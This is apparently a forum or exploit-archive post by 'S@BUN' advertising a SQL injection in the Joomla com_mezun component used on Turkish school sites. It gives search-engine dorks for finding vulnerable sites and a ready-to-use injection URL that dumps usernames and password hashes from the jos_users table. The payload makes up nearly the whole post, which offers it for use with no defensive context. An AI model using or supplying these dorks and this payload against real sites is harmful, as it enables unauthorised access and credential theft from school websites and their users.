########################################################################
#

#

# okul siteleri(k12.tr)(com_mezun)SQL Injection

#

########################################################################
#

#

# AUTHOR : S@BUN

#

# HOME : http://www.hackturkiye.com

#

# MAİL : hackturkiye.hackturkiye (at) gmail (dot) com [email concealed]

#

########################################################################
#

#

# DORK 1 : allinurl: com_mezun "hidemainmenu"

#

# DORK 2 : allinurl: com_mezun

#

########################################################################
#

EXPLOIT :

index.php?option=com_mezun&task=edit&hidemainmenu=S@BUN&id=-9999999/**/u
nion/**/select/**/concat(username,0x3a,password),username,password,0x3a,
0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a/**/from/**/jos_users/*

########################################################################
#

# S@BUN i AM NOT HACKER S@BUN

########################################################################
#

[ reply ]